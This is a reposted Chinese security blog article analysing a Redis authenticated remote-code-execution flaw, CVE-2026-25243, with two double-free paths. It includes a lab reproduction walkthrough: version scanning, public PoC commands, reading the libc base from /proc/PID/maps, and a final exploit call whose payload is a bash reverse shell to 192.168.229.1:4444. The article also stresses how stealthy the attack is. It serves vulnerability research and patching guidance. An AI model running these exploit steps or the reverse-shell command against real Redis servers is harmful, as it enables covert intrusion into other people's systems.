文章总结: Redis高危认证远程代码执行漏洞CVE-2026-25243存在两条独立攻击路径,底层均为双重释放缺陷,可绕过官方补丁实现无痕远程代码执行。漏洞利用不破坏业务数据且日志隐蔽,攻击门槛低,已有公开POC。受影响版本包括Redis6.2.22、7.4.9及8.6.4及以下版本。企业需立即自查受影响版本并升级至最新补丁,同时限制高危命令访问权限。 综合评分: 89 文章分类: 漏洞分析,渗透测试,红队,安全工具,应急响应
redis 新型 RCE 漏洞 CVE-2026-25243 深度解析|认证后双路径攻击,无痕内存破坏实现远程代码执行
three安全之路
2026年7月28日 19:04 四川
在小说阅读器读本章
去阅读
导语: Redis高危认证远程代码执行漏洞CVE-2026-25243曝出补丁绕过新变种,该漏洞存在两条完全独立的攻击路径,均可触发堆双重释放(Double Free),最终实现远程代码执行。漏洞利用全程不会破坏业务数据,日志特征极少,隐蔽性远超传统攻击方式,企业需立刻开展资产自查加固。
一、漏洞概况
| 项目 | 详情 | | — | — | | 漏洞名称 | CVE-2026-25243 Redis 认证后远程代码执行(新变种绕过漏洞) | | 漏洞原理 | 两条独立内存破坏路径,底层均为双重释放缺陷 | | 受影响版本 | Redis ≤ 6.2.22、Redis ≤ 7.4.9、Redis ≤ 8.6.4 |
漏洞原理详解
漏洞存在两条独立内存破坏路径,底层均为双重释放(Double Free)缺陷:
路径一:zipmap 路径(原漏洞)
执行 RESTORE 加载恶意 DUMP 序列化载荷时,遗留哈希 zipmap 校验与转换逻辑不一致。超长 5 字节长度标识通过校验,但 zipmapNext 仅解析 1 字节长度,造成堆越界读取;内存释放逻辑重复调用 sdsfree,触发静默 Double Free(jemalloc 分配器下服务不会直接崩溃),可控类型混淆。
路径二:Stream 消费组路径(补丁绕过新变种)
Redis 加载 RDB 恢复 Stream 消费者组数据时,多条消费者引用同一条消息会共用同一个 streamNACK 对象;删除消费者后内存释放,再次删除另一个关联消费者会重复释放同一块内存,形成 UAF + Double Free 组合缺陷,成功绕过官方早期补丁。
二、完整攻击链
双重释放堆破坏 → 堆重叠 / 类型混淆 → 可控任意内存读写 → 泄露 ASLR/PIE/libc 基址 → 劫持哈希表dictType函数指针 → 执行system()/execve实现 RCE。
三、攻击特点
✅ 默认配置即可利用:Redis 默认关闭 DEBUG 命令、开启 ASLR 防护,无需调试权限 ✅ 无痕攻击:利用过程不篡改业务数据,无明显崩溃日志,溯源难度极高 ✅ 两种利用方案:libc system 方案可 fork 子进程执行命令,Redis 服务持续运行,隐蔽性更强
四、攻击前置条件
- 拥有 Redis 有效访问权限(无密码裸奔实例、持有正确 requirepass 密码)
- 账号未通过 ACL 拦截
RESTORE、XGROUP、EVAL高危命令 - 网络可连通 Redis 默认 6379 端口
- 仅 Linux x86_64 环境可完整实现 RCE,Windows 平台利用难度极大
五、漏洞复现环境搭建(Linux)
搭建命令
wget https://download.redis.io/releases/redis-8.6.2.tar.gz
tar xzf redis-8.6.2.tar.gz
下载编译包
cd redis-8.6.2
进入目录
make
编译
src/redis-server --port 6379 --protected-mode no --enable-debug-command yes &
启动 Redis, & 的意思是让程序在后台运行,不占着终端
六、漏洞检测与利用完整流程
Step 1:端口探测与版本识别(Nmap)
nmap -p 6379 -sV 目标i
Step 2:漏洞 POC 检测
漏洞poc仓库:
https://github.com/dinosn/CVE-2026-25243
使用命令
python exploits\poc_typeconfusion.py --host <目标IP> --port 6379 --flen 60
工具扫描,返回 HEAP OVERLAP CONFIRMED 就是漏洞存在。
Step 3:获取 Shell
需要先获取 system() 函数的内存地址。
获取方式有两种:
方法一(ASLR 未关闭):先利用漏洞的内存泄露能力,读取 malloc@GOT
获取 libc 基址,再计算 system 地址 = libc 基址 + 系统 libc 中 system 的偏移量。
方法二(ASLR 已关闭):直接读取 /proc/PID/maps 获取 libc 基址,固定不变。
- 获取 libc 基址与 system 地址
(本次测试环境关闭 ASLR;服务器默认开启 ASLR 时,必须先内存泄露获取基址、动态计算偏移。 )
获取 libc
# 1. 获取 Redis PID
pgrep redis-server
# 2. 读取 libc 基址
cat /proc/$(pgrep redis-server)/maps | grep libc | head -1
# 3. 计算 system 地址
# libc 基址 + 0x53910 = system 地址
- 修改 POC 偏移量
编辑
exploits\poc_rce_aslr_pie_rop.py,填入计算后的 system 地址:
- 执行利用,获取 Shell
python exploits\poc_rce_aslr_pie_rop.py --host 192.168.229.131 --port 6379 --cmd "bash -c 'bash -i >& /dev/tcp/192.168.229.1/4444 0>&1' &"
CVE-2026-25243 最大威胁在于存在双重攻击链路,官方原始补丁仅修复 zipmap 路径,而 Stream 消费组 NACK 漏洞形成完整绕过链。漏洞利用不破坏业务缓存、日志隐蔽,搭配公开 POC 大幅降低攻击门槛。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:three安全之路 《redis 新型 RCE 漏洞 CVE-2026-25243 深度解析|认证后双路径攻击,无痕内存破坏实现远程代码执行》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论